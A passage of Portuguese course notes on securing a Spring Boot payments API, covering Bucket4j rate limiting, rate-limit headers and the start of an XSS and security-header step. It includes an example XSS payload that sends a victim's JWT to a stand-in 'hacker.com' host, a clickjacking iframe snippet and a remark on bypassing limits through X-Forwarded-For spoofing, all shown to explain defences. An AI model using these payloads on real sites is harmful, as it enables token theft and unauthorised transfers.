    - Se a chave JA EXISTE: retorna o bucket existente (rapido, O(1))
    - Se a chave NAO EXISTE: cria um novo bucket e salva no mapa

    Isso significa que o primeiro request de cada usuario/IP cria o bucket,
    e os seguintes reutilizam. O bucket e persistido enquanto a JVM roda.

    createBucket() usa Bucket4j:
      Bandwidth.builder()
          .capacity(60)                           // tamanho do balde
          .refillGreedy(60, Duration.ofMinutes(1)) // reabastece 60/min
          .build();

    ConcurrentHashMap garante thread-safety: se 2 threads tentam criar
    o bucket para o mesmo usuario ao mesmo tempo, apenas 1 cria.


  PASSO 5 — Tentar consumir 1 token
  ──────────────────────────────────
    ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);

    tryConsumeAndReturnRemaining retorna um "probe" (sonda) com:
    - isConsumed(): true se consumiu, false se balde vazio
    - getRemainingTokens(): quantas fichas restam
    - getNanosToWaitForRefill(): quantos nanossegundos ate a proxima ficha

    E atomico e thread-safe — Bucket4j usa CAS (Compare-And-Swap),
    nao locks. Mesmo com 1000 requests simultaneas, nao ha condicao
    de corrida.


  PASSO 6a — Token consumido (tem ficha) → continua
  ──────────────────────────────────────────────────
    response.addHeader("X-RateLimit-Limit", "60");
    response.addHeader("X-RateLimit-Remaining", "58");
    filterChain.doFilter(request, response);  // proximo filtro

    Os headers informam ao frontend quanto "credito" resta.
    O frontend pode mostrar um aviso: "Voce tem 3 consultas restantes."


  PASSO 6b — Token NAO consumido (balde vazio) → 429
  ───────────────────────────────────────────────────
    long waitSeconds = Duration.ofNanos(probe.getNanosToWaitForRefill())
                               .toSeconds();
    response.addHeader("X-RateLimit-Retry-After-Seconds", "12");

    writeErrorResponse(request, response, waitSeconds);
    // → 429 Too Many Requests + JSON padronizado (ErrorResponse)
    // → NÃO chama filterChain.doFilter() → request PARA aqui

O armazenamento: ConcurrentHashMap

Onde os buckets ficam armazenados
  private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();

  Conteudo do mapa em tempo de execucao (exemplo):
  ┌──────────────────────────────────┬─────────────────────────┐
  │  CHAVE                           │  BUCKET (estado)        │
  ├──────────────────────────────────┼─────────────────────────┤
  │  "auth:192.168.1.100"            │  3/5 fichas restantes   │
  │  "auth:10.0.0.42"                │  5/5 fichas (cheio)     │
  │  "query:riel@email.com"          │  45/60 fichas restantes │
  │  "query:ana@email.com"           │  60/60 fichas (cheio)   │
  │  "transaction:riel@email.com"    │  28/30 fichas restantes │
  └──────────────────────────────────┴─────────────────────────┘

  LIMITACAO: ConcurrentHashMap e IN-MEMORY (na JVM).
  ──────────────────────────────────────────────────
  Se a aplicacao reiniciar, todos os buckets sao perdidos (resetados).
  Se houver multiplas instancias da API (load balancing), cada uma tem
  seu proprio mapa — um usuario poderia ter 60 req/min POR INSTANCIA.

  SOLUCAO PARA PRODUCAO: usar Redis como armazenamento compartilhado.
  Bucket4j tem integracao com Redis (bucket4j-redis).
  Para o PixHub (instancia unica), ConcurrentHashMap e suficiente.

  NOTA: buckets NAO sao removidos do mapa automaticamente.
  Em producao com muitos usuarios, adicionar limpeza periodica
  (ex: remover buckets inativos ha mais de 1 hora) para evitar
  vazamento de memoria. Para o PixHub, nao e necessario.

Extracao do IP real (X-Forwarded-For)

Por que nao usar request.getRemoteAddr() direto?
  Sem proxy reverso (desenvolvimento local):
  ──────────────────────────────────────────
    Cliente (navegador) → API (Spring Boot)
    request.getRemoteAddr() = "127.0.0.1" (IP do cliente) ✅

  Com proxy reverso (producao):
  ─────────────────────────────
    Cliente → Nginx/CloudFlare → API (Spring Boot)
    request.getRemoteAddr() = "10.0.0.1" (IP do NGINX, nao do cliente!) ❌

    O proxy adiciona o header X-Forwarded-For com o IP real:
    X-Forwarded-For: 189.28.100.42, 10.0.0.1
                     └─ IP real      └─ IP do proxy

  Nossa logica em getClientIp():
    1. Verifica se existe X-Forwarded-For
    2. Se sim: pega o PRIMEIRO IP (o do cliente real)
    3. Se nao: usa request.getRemoteAddr() (sem proxy)

  NOTA DE SEGURANCA:
    Um atacante pode FALSIFICAR o header X-Forwarded-For
    para bypassar o rate limiting (fingir ser outro IP).
    Em producao, configurar o Spring para aceitar X-Forwarded-For
    apenas de proxies confiaveis (TrustedProxies).
Analogia

O RateLimitingFilter e como um porteiro com prancheta na entrada de cada area do predio. Ele anota quantas vezes cada pessoa passou. Na recepcao (auth), ele reconhece as pessoas pela aparencia (IP — nao sabe o nome ainda). Nos andares (endpoints protegidos), ele reconhece pelo cracha (email do JWT — ja sabe quem e).

O ConcurrentHashMap e a prancheta do porteiro. Cada linha da prancheta tem o nome/IP da pessoa e quantas fichas ela ainda tem. Se o predio reiniciar (JVM reinicia), a prancheta e apagada e todos comecam com o balde cheio de novo. Em um predio com multiplas portarias (multiplas instancias), cada porteiro teria sua propria prancheta — para sincronizar, usariamos um sistema central (Redis).

Os 3 headers que adicionamos

Boas praticas de APIs publicas (AWS, GitHub, Stripe) ditam que toda resposta deve informar o estado do rate limiting. Isso permite que o frontend/cliente se adapte antes de ser bloqueado.

Os headers e seus significados
  HEADER                              SIGNIFICADO                     EXEMPLO
  ──────                              ───────────                     ───────

  X-RateLimit-Limit                   Limite total de requests        60
                                      por minuto para este
                                      tipo de endpoint.
                                      "Seu balde tem 60 fichas."

  X-RateLimit-Remaining               Quantas requests restam         45
                                      no periodo atual.
                                      "Voce ainda tem 45 fichas."
                                      O frontend pode usar para
                                      mostrar um aviso ao usuario.

  X-RateLimit-Retry-After-Seconds     Quantos segundos esperar        12
                                      ate a proxima ficha ser
                                      adicionada ao balde.
                                      SO aparece quando 429.
                                      "Espere 12 segundos."

  ────────────────────────────────────────────────────────────────────

  Exemplo de request NORMAL (dentro do limite):
  ──────────────────────────────────────────────
    GET /api/v1/accounts HTTP/1.1
    Authorization: Bearer eyJ...

    HTTP/1.1 200 OK
    X-RateLimit-Limit: 60
    X-RateLimit-Remaining: 45
    Content-Type: application/json
    [{"id":"...", "holderName":"Riel Santos", ...}]

  Exemplo de request BLOQUEADA (limite excedido):
  ────────────────────────────────────────────────
    GET /api/v1/accounts HTTP/1.1
    Authorization: Bearer eyJ...

    HTTP/1.1 429 Too Many Requests
    X-RateLimit-Limit: 60
    X-RateLimit-Remaining: 0
    X-RateLimit-Retry-After-Seconds: 12
    Content-Type: application/json
    {
      "timestamp": "2026-03-21T14:30:00",
      "status": 429,
      "error": "Too Many Requests",
      "message": "Limite de requisicoes excedido. Tente novamente em 12 segundos.",
      "path": "/api/v1/accounts"
    }

A resposta 429 — mesmo formato, lugar diferente

Assim como o JwtAuthenticationEntryPoint (passo 3.3) retorna 401 em JSON, o RateLimitingFilter retorna 429 em JSON. Ambos usam o mesmo DTO (ErrorResponse) e escrevem direto no HttpServletResponse — pelo mesmo motivo: estao fora do Controller, na cadeia de filtros.

Mapa: quem retorna cada tipo de erro
  ERRO    CODIGO    QUEM RETORNA                    ONDE ACONTECE
  ────    ──────    ────────────                    ─────────────
  401     Unauth    JwtAuthenticationEntryPoint     Cadeia de filtros
                    (passo 3.3)                     (antes do Controller)

  429     TooMany   RateLimitingFilter              Cadeia de filtros
                    (passo 3.4)                     (antes do Controller)

  400     BadReq    GlobalExceptionHandler          Dentro do Controller
                    (validacao @Valid)               (MethodArgumentNotValid)

  404     NotFound  GlobalExceptionHandler          Dentro do Controller
                    (ResourceNotFoundException)      (Service lanca excecao)

  409     Conflict  GlobalExceptionHandler          Dentro do Controller
                    (ResourceAlreadyExists)          (Service lanca excecao)

  422     Unproc    GlobalExceptionHandler          Dentro do Controller
                    (BusinessRuleViolation)          (Service lanca excecao)

  423     Locked    GlobalExceptionHandler          Dentro do Controller
                    (AccountLockedException)         (AuthService lanca excecao)

  500     Internal  GlobalExceptionHandler          Dentro do Controller
                    (fallback — Exception)           (bug nao previsto)

  TODOS retornam o MESMO formato: ErrorResponse JSON
  { "timestamp", "status", "error", "message", "path" }
  O frontend trata QUALQUER erro da mesma forma!

Como o frontend usa esses headers

Exemplo de tratamento no React
  // Exemplo de como o frontend React trataria rate limiting:

  async function fetchAccounts() {
    const response = await fetch('/api/v1/accounts', {
      headers: { 'Authorization': `Bearer ${accessToken}` }
    });

    // Ler headers de rate limiting
    const limit = response.headers.get('X-RateLimit-Limit');
    const remaining = response.headers.get('X-RateLimit-Remaining');

    // Mostrar aviso quando esta chegando perto do limite
    if (remaining < 5) {
      showWarning(`Cuidado: apenas ${remaining} consultas restantes por minuto.`);
    }

    // Se foi bloqueado (429)
    if (response.status === 429) {
      const retryAfter = response.headers.get('X-RateLimit-Retry-After-Seconds');
      const data = await response.json();

      showError(data.message);  // "Limite excedido. Tente em 12 segundos."

      // Retry automatico apos o tempo indicado
      setTimeout(() => fetchAccounts(), retryAfter * 1000);
      return;
    }

    // Request normal (200)
    const accounts = await response.json();
    renderAccounts(accounts);
  }

  // NOTA: o header X-RateLimit-Remaining so e visivel no frontend
  // porque configuramos no CORS (passo 3.3):
  //   configuration.setExposedHeaders(Arrays.asList(
  //       "Authorization", "X-RateLimit-Remaining"
  //   ));
  // Sem isso, o navegador esconde o header do JavaScript!

Conexao com o CORS (passo 3.3)

Exposing headers — o elo entre CORS e Rate Limiting
  No passo 3.3, quando configuramos o CORS, adicionamos:

    configuration.setExposedHeaders(Arrays.asList(
        "Authorization",
        "X-RateLimit-Remaining"    ← planejado para o passo 3.4!
    ));

  Por que isso e necessario?
  Por padrao, o navegador so deixa o JavaScript ler estes headers:
    - Cache-Control
    - Content-Language
    - Content-Type
    - Expires
    - Last-Modified
    - Pragma

  TODOS os outros headers sao "escondidos" do JavaScript.
  Para o React conseguir ler X-RateLimit-Remaining, precisamos
  EXPOR esse header explicitamente na configuracao CORS.

  Sem o setExposedHeaders:
    response.headers.get('X-RateLimit-Remaining')  → null (escondido!)

  Com o setExposedHeaders:
    response.headers.get('X-RateLimit-Remaining')  → "45" ✅

  Isso mostra como os passos se conectam: o CORS do 3.3 ja preparou
  o terreno para o Rate Limiting do 3.4.
Analogia

Os headers de rate limiting sao como o visor digital da catraca. Ao passar, o visor mostra: "Entradas restantes: 45 de 60" (X-RateLimit-Remaining). Se o limite for atingido, o visor mostra: "Bloqueado. Proxima entrada disponivel em 12 segundos" (X-RateLimit-Retry-After-Seconds).

A conexao com o CORS e como a regra do condominio sobre interfones: por padrao, os interfones (headers) dos apartamentos sao privados — visitantes (navegadores) nao podem ver. Mas o condominio (CORS config) decidiu que o interfone "fichas restantes" (X-RateLimit-Remaining) deve ser visivel para visitantes autorizados. Sem essa regra, o visitante passaria pela catraca mas nao conseguiria ver o visor.

Conceitos UNIVERSAIS do rate limiting

Tudo que e portavel para qualquer linguagem
  CONCEITO UNIVERSAL              JAVA (Spring)           NODE.JS (Express)       PYTHON (FastAPI)
  ──────────────────              ─────────────           ─────────────────       ────────────────

  Algoritmo Token Bucket          Bucket4j                rate-limiter-flexible   limits (lib)
  (o algoritmo em si)              (biblioteca)            (pacote npm)            (pacote pip)

  Filtro/middleware que            OncePerRequestFilter    Express middleware      FastAPI middleware
  intercepta cada request          (classe Java)           (funcao JS)            (funcao Python)

  Armazenar buckets               ConcurrentHashMap       Map() do JS            dict do Python
  em memoria                       (thread-safe)           (single-thread)        (asyncio-safe)

  Armazenar buckets               Redis + bucket4j-redis  Redis + ioredis        Redis + aioredis
  distribuido (producao)

  Categorizar endpoints           if (path.startsWith)    if (req.path.match)    if path.startswith
  por tipo de limite

  Identificar por IP              request.getRemoteAddr   req.ip                 request.client.host
  + X-Forwarded-For               + X-Forwarded-For       (Express pega auto)    + X-Forwarded-For

  Identificar por usuario         SecurityContextHolder   req.user.email         request.state.user
  (JWT autenticado)                .getAuthentication()     (do auth middleware)    ["email"]

  Headers X-RateLimit-*           response.addHeader()    res.set('X-Rate...')   response.headers[]
  (informar estado ao cliente)

  Resposta 429 com JSON           HttpServletResponse     res.status(429).json   JSONResponse(429)
  padronizado                      .setStatus(429)

  Configuracao externalizavel     application.yml +       .env + config file     .env + settings.py
  (sem recompilar)                 @ConfigProperties

Rate limiting em 3 linguagens

Java (Spring + Bucket4j) — nosso RateLimitingFilter
  @Component
  public class RateLimitingFilter extends OncePerRequestFilter {
      private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();

      @Override
      protected void doFilterInternal(request, response, filterChain) {
          // 1. Categorizar endpoint
          String path = request.getRequestURI();
          EndpointCategory category = categorizeEndpoint(path, request.getMethod());
          if (category == NONE) { filterChain.doFilter(request, response); return; }

          // 2. Identificar quem (IP ou email)
          String key = resolveKey(category, request);

          // 3. Buscar ou criar bucket
          Bucket bucket = buckets.computeIfAbsent(key, k -> createBucket(category));

          // 4. Tentar consumir 1 token
          ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);

          // 5. Headers
          response.addHeader("X-RateLimit-Remaining",
                             String.valueOf(probe.getRemainingTokens()));

          if (probe.isConsumed()) {
              filterChain.doFilter(request, response);  // continua ✅
          } else {
              response.setStatus(429);                  // bloqueado ❌
              response.getWriter().write(errorJson);
          }
      }
  }
Node.js (Express + rate-limiter-flexible)
  const { RateLimiterMemory } = require('rate-limiter-flexible');

  // Criar limitadores por categoria
  const authLimiter = new RateLimiterMemory({ points: 5, duration: 60 });
  const queryLimiter = new RateLimiterMemory({ points: 60, duration: 60 });
  const transactionLimiter = new RateLimiterMemory({ points: 30, duration: 60 });

  function rateLimitMiddleware(req, res, next) {
      // 1. Categorizar endpoint
      let limiter, key;
      if (req.path.startsWith('/api/v1/auth/')) {
          limiter = authLimiter;
          key = req.ip;                                // por IP
      } else if (req.path.startsWith('/api/v1/transactions') &&
                 ['POST','PUT'].includes(req.method)) {
          limiter = transactionLimiter;
          key = req.user?.email || req.ip;             // por usuario
      } else {
          limiter = queryLimiter;
          key = req.user?.email || req.ip;
      }

      // 2. Tentar consumir
      limiter.consume(key, 1)
          .then((result) => {
              res.set('X-RateLimit-Remaining', result.remainingPoints);
              next();  // continua ✅
          })
          .catch((rejection) => {
              res.set('X-RateLimit-Retry-After-Seconds',
                      Math.ceil(rejection.msBeforeNext / 1000));
              res.status(429).json({
                  status: 429,
                  message: `Limite excedido. Tente em ${retryAfter}s.`
              });  // bloqueado ❌
          });
  }

  app.use(rateLimitMiddleware);
Python (FastAPI + limits)
  from limits import parse
  from limits.storage import MemoryStorage
  from limits.strategies import MovingWindowRateLimiter

  storage = MemoryStorage()
  limiter = MovingWindowRateLimiter(storage)

  auth_limit = parse("5/minute")
  query_limit = parse("60/minute")
  transaction_limit = parse("30/minute")

  @app.middleware("http")
  async def rate_limit_middleware(request: Request, call_next):
      path = request.url.path
      method = request.method

      # 1. Categorizar endpoint
      if path.startswith("/api/v1/auth/"):
          limit = auth_limit
          key = request.client.host                    # por IP
      elif path.startswith("/api/v1/transactions") and method in ("POST", "PUT"):
          limit = transaction_limit
          key = getattr(request.state, "user", {}).get("email", request.client.host)
      elif path.startswith("/api/"):
          limit = query_limit
          key = getattr(request.state, "user", {}).get("email", request.client.host)
      else:
          return await call_next(request)              # sem limite

      # 2. Tentar consumir
      if limiter.hit(limit, key):
          response = await call_next(request)          # continua ✅
          remaining = limiter.get_window_stats(limit, key).remaining
          response.headers["X-RateLimit-Remaining"] = str(remaining)
          return response
      else:
          return JSONResponse(
              status_code=429,
              content={"status": 429, "message": "Limite excedido."}
          )  # bloqueado ❌

O que e ESPECIFICO do Java/Spring

Coisas que so Java/Spring faz dessa forma
  ESPECIFICO DO JAVA/SPRING              O QUE RESOLVE              COMO OUTRAS LINGUAGENS FAZEM
  ─────────────────────────              ──────────────              ────────────────────────────

  Bucket4j (biblioteca)                  Implementacao do           Node: rate-limiter-flexible
  com API fluente de builder             Token Bucket com           Python: limits
                                         Bandwidth, capacity,       Go: golang.org/x/time/rate
                                         refillGreedy

  ConcurrentHashMap                      Armazenamento              Node: Map() (single-thread,
  (thread-safe por padrao)               thread-safe dos            nao precisa ConcurrentMap)
                                         buckets                    Python: dict (asyncio-safe)

  OncePerRequestFilter                   Garantia de 1x             Node: middleware roda 1x
  (classe abstrata)                      por request                por padrao (nao precisa)

  @ConfigurationProperties               Ler configs do yml         Node: process.env ou dotenv
  + classe tipada                         com binding automatico     Python: pydantic Settings
                                          em campos Java

  ConsumptionProbe                       Objeto retornado pelo      Node: result.remainingPoints
  (classe do Bucket4j)                   tryConsume com tokens      Python: window_stats.remaining
                                         restantes e tempo refill

  response.addHeader()                   Adicionar headers          Node: res.set('header', val)
  (HttpServletResponse)                  na resposta HTTP           Python: response.headers[h]=v

  computeIfAbsent()                      Get-or-create atomico      Node: map.get(k) || create()
  (ConcurrentHashMap)                    (thread-safe)              Python: dict.setdefault(k,v)

  addFilterAfter(filter, class)          Posicionar filtro          Node: ordem dos app.use()
  (SecurityConfig)                       APOS outro na cadeia       Python: ordem dos add_middleware()

O padrao universal de Rate Limiting em pseudocodigo

Funciona em QUALQUER linguagem
  funcao middleware_rate_limit(request, proximo):
  ─────────────────────────────────────────────

      // 1. Categorizar
      se endpoint e swagger/actuator/docs:
          proximo(request)
          retorna

      se endpoint comeca com "/auth":
          limite = 5 por minuto
          chave = ip_do_cliente(request)
      senao se endpoint e POST/PUT em "/transactions":
          limite = 30 por minuto
          chave = email_do_usuario(request)
      senao:
          limite = 60 por minuto
          chave = email_do_usuario(request)

      // 2. Buscar ou criar balde
      balde = baldes.buscar_ou_criar(chave, limite)

      // 3. Tentar consumir
      resultado = balde.consumir(1)

      // 4. Responder
      response.header("X-RateLimit-Remaining", resultado.restante)

      se resultado.consumiu:
          proximo(request)                  // ✅ pode continuar
      senao:
          response.header("X-RateLimit-Retry-After-Seconds",
                          resultado.segundos_para_proximo_token)
          retornar_erro(429, "Limite excedido. Tente em Xs.")

  // Este pseudocodigo descreve Java, Node, Python, Go, Rust...
  // O algoritmo Token Bucket e o MESMO. A logica e a MESMA.
  // So muda a biblioteca e a sintaxe.
Analogia

Rate limiting e como o sistema de fichas de rodizio em qualquer restaurante do mundo. Nao importa se o restaurante e japones (Java), americano (Node) ou italiano (Python) — o sistema e o mesmo: voce recebe fichas, cada prato consome uma ficha, quando acabam voce espera o garcom trazer mais.

O que muda e a interface: no restaurante japones as fichas sao de madeira (Bucket4j), no americano sao de plastico (rate-limiter-flexible), no italiano sao de papel (limits). Mas o conceito — "X fichas por periodo, reabastecimento gradual" — e identico.

A maior diferenca entre Java e as outras linguagens aqui e a thread-safety: Java precisa do ConcurrentHashMap porque multiplas threads acessam o mapa simultaneamente. Node.js usa um Map() simples porque e single-threaded (uma coisa de cada vez). Python fica no meio — e async mas single-threaded, entao um dict normal funciona com asyncio.

O problema que este passo resolve

Ate o passo 3.4, o sistema ja tem autenticacao (JWT), autorizacao (roles), e rate limiting (controle de requests). Sao como a catraca, o cracha e o contador do predio. Porem, existem ataques que passam por tudo isso — o usuario esta autenticado, dentro do limite, mas envia dados maliciosos nos campos de texto, ou o navegador e enganado por outro site.

Os 3 problemas que este passo resolve
  PROBLEMA 1 — XSS (Cross-Site Scripting)
  ────────────────────────────────────────
    Um usuario autenticado envia no campo "holderName":
      "<script>fetch('http://hacker.com/steal?token='+localStorage.jwt)</script>"

    Se esse nome for salvo no banco e depois exibido no frontend SEM
    sanitizacao, o navegador EXECUTA o script — roubando tokens JWT
    de outros usuarios que visualizarem essa conta.

    Sem protecao: o dado malicioso entra no banco normalmente.
    Com @NoHtml:  o dado e REJEITADO na entrada → 400 Bad Request.

  PROBLEMA 2 — Ataques via navegador (clickjacking, MIME sniffing)
  ─────────────────────────────────────────────────────────────────
    Um site malicioso pode:
    - Colocar nossa API num <iframe> invisivel e enganar o usuario
      para clicar em botoes (clickjacking)
    - Forcar o navegador a interpretar JSON como HTML (MIME sniffing)
    - Cachear respostas com dados sensiveis (tokens, saldos)

    Sem headers: o navegador nao sabe que precisa se proteger.
    Com headers: o navegador recebe instrucoes de seguranca e se protege.

  PROBLEMA 3 — Falta de rastreabilidade em incidentes
  ───────────────────────────────────────────────────
    Se alguem tenta fazer brute force no login, precisamos saber:
    - DE ONDE veio o ataque? (IP)
    - COM QUE ferramenta? (User-Agent)
    - QUANDO? (timestamp)
    - QUANTAS vezes? (contador)

    Sem logs padronizados: informacoes espalhadas, dificil de filtrar.
    Com SecurityEventLogger: todos os eventos no formato [SECURITY],
      filtravel em ferramentas de monitoramento (Kibana, Grafana).
Antes vs Depois — o impacto concreto
  ANTES (passo 3.4):                         DEPOIS (passo 3.5):
  ──────────────────                         ──────────────────

  Campos de texto aceitam qualquer coisa     @NoHtml rejeita HTML em campos
  holderName: "<script>alert(1)</script>"    de texto (holderName, fullName)
  → salvo normalmente no banco ❌            → 400 Bad Request ✅

  Resposta HTTP sem headers de seguranca     Headers em TODA resposta:
  (navegador nao sabe se proteger)           X-Content-Type-Options: nosniff
                                             X-Frame-Options: DENY
                                             Content-Security-Policy: ...
                                             Cache-Control: no-store

  Logs espalhados sem padrao                 Todos os eventos com prefixo:
  log.warn("Login falhou: email...")         [SECURITY] LOGIN_FAILED — ...
  (dificil de filtrar)                       | IP: 192.168.1.100
                                             | UA: Mozilla/5.0...
                                             (filtravel com grep "[SECURITY]")

Os 4 arquivos criados/alterados e seus papeis

Arquivos do passo 3.5 e o que cada um faz
┌──────────────────────────────────────────────────────────────────────────┐
│  ARQUIVO                          │  PAPEL             │  ANALOGIA      │
├───────────────────────────────────┼────────────────────┼────────────────┤
│  SecurityConfig.java              │  INSTRUCOES AO     │  Placa na porta│
│  (ATUALIZADO — .headers())        │  NAVEGADOR         │  "proibido     │
│  config/                          │  Envia headers     │  iframe,       │
│                                   │  de seguranca      │  proibido      │
│                                   │  em toda resposta  │  cache"        │
├───────────────────────────────────┼────────────────────┼────────────────┤
│  NoHtml.java + NoHtmlValidator    │  DETECTOR DE       │  O detector de │
│  (NOVOS)                          │  METAL na entrada  │  metais que    │
│  validation/                      │  Rejeita HTML em   │  bipa quando   │
│                                   │  campos de texto   │  passa algo    │
│                                   │  (XSS prevention)  │  perigoso      │
├───────────────────────────────────┼────────────────────┼────────────────┤
│  SecurityEventLogger.java         │  O LIVRO DE        │  O caderno do  │
│  (NOVO)                           │  OCORRENCIAS       │  porteiro com  │
│  service/                         │  Registra eventos  │  hora, quem,   │
│                                   │  com IP + UA +     │  de onde veio, │
│                                   │  prefixo [SECURITY]│  o que fez     │
├───────────────────────────────────┼────────────────────┼────────────────┤
│  AuthService.java                 │  ATUALIZADO        │  O porteiro    │
│  (ATUALIZADO)                     │  Usa o logger      │  agora anota   │
│  service/                         │  dedicado em todos │  TUDO no       │
│                                   │  os eventos        │  livro oficial │
├───────────────────────────────────┼────────────────────┼────────────────┤
│  DTOs: CreateAccountRequest,      │  ATUALIZADOS       │  Formularios   │
│  UpdateAccountRequest,            │  Receberam @NoHtml │  com campo     │
│  RegisterRequest                  │  nos campos de     │  "nome" agora  │
│  dto/                             │  texto livre       │  rejeitam HTML │
└──────────────────────────────────────────────────────────────────────────┘

Onde cada protecao atua na cadeia de filtros

As 3 protecoes em momentos DIFERENTES da request
  Request HTTP
    │
    ▼
  ┌─── CORS → CSRF → JwtFilter → RateLimitFilter → Authorization ──────┐
  │                                                                      │
  │  SECURITY HEADERS (protecao 1):                                     │
  │  Adicionados AUTOMATICAMENTE em TODA resposta pelo Spring Security. │
  │  Nao sao filtros separados — sao configurados no SecurityConfig     │
  │  e o Spring adiciona os headers antes de enviar a resposta.         │
  │                                                                      │
  └──────────────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── Controller ─────────────────────────────────────────────────────┐
  │                                                                     │
  │  @PostMapping                                                       │
  │  public ResponseEntity create(@Valid @RequestBody CreateAccount...) │
  │                                ─────                                │
  │                                  │                                  │
  │  @VALID ACIONA O BEAN VALIDATION (protecao 2):                     │
  │  1. @NotBlank → campo preenchido?                                  │
  │  2. @Size → tamanho correto?                                       │
  │  3. @Pattern → formato correto?                                    │
  │  4. @NoHtml → SEM tags HTML?  ← NOVO (passo 3.5)                  │
  │                                                                     │
  │  Se qualquer validacao falhar → MethodArgumentNotValidException    │
  │  → GlobalExceptionHandler → 400 Bad Request (JSON)                 │
  │  → O dado NUNCA chega ao Service                                   │
  └─────────────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── Service (AuthService) ──────────────────────────────────────────┐
  │                                                                     │
  │  SECURITY EVENT LOGGER (protecao 3):                               │
  │  Em cada evento de seguranca, registra com IP + User-Agent:        │
  │                                                                     │
  │  securityEventLogger.logLoginSuccess("riel@email.com");            │
  │  → [SECURITY] LOGIN_SUCCESS — riel@email.com                      │
  │    | IP: 192.168.1.100 | UA: Mozilla/5.0...                        │
  │                                                                     │
  │  securityEventLogger.logLoginFailed("riel@email.com", "motivo");   │
  │  → [SECURITY] LOGIN_FAILED — riel@email.com | Motivo: ...         │
  │    | IP: 10.0.0.42 | UA: curl/7.88.1                              │
  └─────────────────────────────────────────────────────────────────────┘
Analogia completa

Continuando a analogia do predio do PixHub:

Passos anteriores: instalamos crachas (JWT), catracas (JwtFilter), e contadores (RateLimit). O predio ja e bem protegido.

Passo 3.5 adiciona tres coisas:

1. Security Headers = placas de aviso coladas em todas as portas: "Proibido iframes" (X-Frame-Options), "Nao adivinhe o tipo do conteudo" (X-Content-Type-Options), "Nao guarde informacoes em cache" (Cache-Control). O visitante (navegador) le as placas e se comporta de acordo.

2. @NoHtml = detector de metais na entrada. Antes de qualquer formulario ser processado, o detector verifica se os campos contem "metais" (tags HTML, scripts). Se detectar, bipa e recusa a entrada — o dado nem chega ao escritorio (Service).

3. SecurityEventLogger = livro de ocorrencias oficial do predio. Cada evento (entrada, tentativa frustrada, bloqueio) e registrado com hora, nome, IP e descricao. Se houver um incidente, o gerente de seguranca abre o livro e sabe exatamente o que aconteceu.

O que sao Security Headers?

Sao headers HTTP que o servidor envia junto com cada resposta. O navegador le esses headers e ativa protecoes automaticamente. Sao como instrucoes de seguranca — o servidor diz ao navegador: "nao faca isso, nao permita aquilo, bloqueie tal coisa".

Sem esses headers, o navegador usa seus comportamentos padrao — que nem sempre sao seguros. Por exemplo, por padrao o navegador tenta "adivinhar" o tipo do conteudo (MIME sniffing), o que pode ser explorado.

Os 5 headers que configuramos

Header 1: X-Content-Type-Options: nosniff
  O QUE FAZ:
    Impede o navegador de "adivinhar" o tipo do conteudo.

  O ATAQUE (sem o header):
    1. A API retorna JSON: {"name": "<script>alert('xss')</script>"}
    2. O header Content-Type nao e enviado (ou esta errado)
    3. O navegador "adivinha": "Hmm, parece HTML... vou renderizar!"
    4. O <script> e EXECUTADO → XSS!

  COM O HEADER:
    O navegador le: "X-Content-Type-Options: nosniff"
    → "O servidor disse para NAO adivinhar. Se diz que e JSON, e JSON."
    → Mesmo sem Content-Type, o navegador NAO tenta renderizar como HTML.

  CONFIGURACAO NO SPRING:
    .headers(headers -> headers
        .contentTypeOptions(cto -> {})  // Spring ja aplica "nosniff"
    )
Header 2: X-Frame-Options: DENY
  O QUE FAZ:
    Impede que a API seja carregada dentro de um <iframe>.

  O ATAQUE (clickjacking — sem o header):
    1. Atacante cria site-malicioso.com
    2. Coloca nossa API num <iframe> INVISIVEL sobre um botao "Ganhe um premio!"
    3. Usuario clica no "premio", mas na verdade esta clicando
       num botao da API (ex: "Confirmar transferencia")
    4. A request vai com o JWT do usuario → operacao executada!

    <iframe src="http://api.pixhub.com/transfer?to=hacker&amount=1000"
            style="opacity: 0; position: absolute;"></iframe>
    <button style="position: absolute; top: 0;">Ganhe R$ 100!</button>

  COM O HEADER:
    O navegador le: "X-Frame-Options: DENY"
    → "O servidor disse que NAO pode ser colocado em iframe. Bloqueado."
    → O iframe nao carrega nada → ataque falha.

  OPCOES:
    DENY:        NINGUEM pode colocar em iframe (mais seguro — API REST)
    SAMEORIGIN:  so a MESMA origem pode (util para apps com iframes proprios)

  CONFIGURACAO NO SPRING:
    .frameOptions(frame -> frame.deny())
Header 3: Cache-Control: no-cache, no-store, must-revalidate
  O QUE FAZ:
    Impede que respostas sejam cacheadas pelo navegador ou proxies.

  O RISCO (sem o header):
    1. Riel faz GET /api/v1/accounts → resposta com saldo de R$ 5.000
    2. O navegador (ou um proxy) CACHEIA a resposta
    3. Riel sai da maquina sem fazer logout
    4. Outra pessoa abre o navegador → a pagina carrega do CACHE
    5. Outra pessoa ve o saldo de R$ 5.000 sem estar autenticada!

    Pior cenario: tokens JWT cacheados em proxies corporativos.

  COM O HEADER:
    O navegador le: "no-cache, no-store, must-revalidate"
    → no-cache: sempre valide com o servidor antes de usar cache
    → no-store: NAO guarde nada em cache (nem em disco)
    → must-revalidate: se o cache expirou, NAO use sem revalidar
    → Dados sensiveis NUNCA ficam guardados no navegador/proxy.

  CONFIGURACAO NO SPRING:
    .cacheControl(cache -> {})  // Spring aplica tudo automaticamente
Header 4: X-XSS-Protection: 0 (desabilitado)
  O QUE FAZ:
    DESABILITA o filtro XSS embutido de navegadores antigos.

  POR QUE DESABILITAR?
    Parece contraintuitivo — "desabilitar protecao XSS?!"
    O motivo e que o filtro XSS do Chrome (lancado em 2009) tinha BUGS:
    - Podia ser explorado para CAUSAR XSS (ironia!)
    - Falsos positivos bloqueavam conteudo legitimo
    - O Chrome removeu o filtro em 2019 (versao 78)

    O filtro antigo tentava detectar XSS na URL e bloquear:
      http://site.com/search?q=<script>alert(1)</script>
    Mas atacantes conseguiam manipular o filtro para REMOVER
    partes legitimas do HTML, criando uma vulnerabilidade nova.

  A PROTECAO MODERNA:
    Em vez do filtro antigo, usamos Content-Security-Policy (abaixo).
    CSP e muito mais poderoso e nao tem os bugs do filtro antigo.

  CONFIGURACAO NO SPRING:
    .xssProtection(xss -> xss.disable())  // 0 = desligado
Header 5: Content-Security-Policy (CSP)
  O QUE FAZ:
    Diz ao navegador EXATAMENTE quais recursos podem ser carregados.
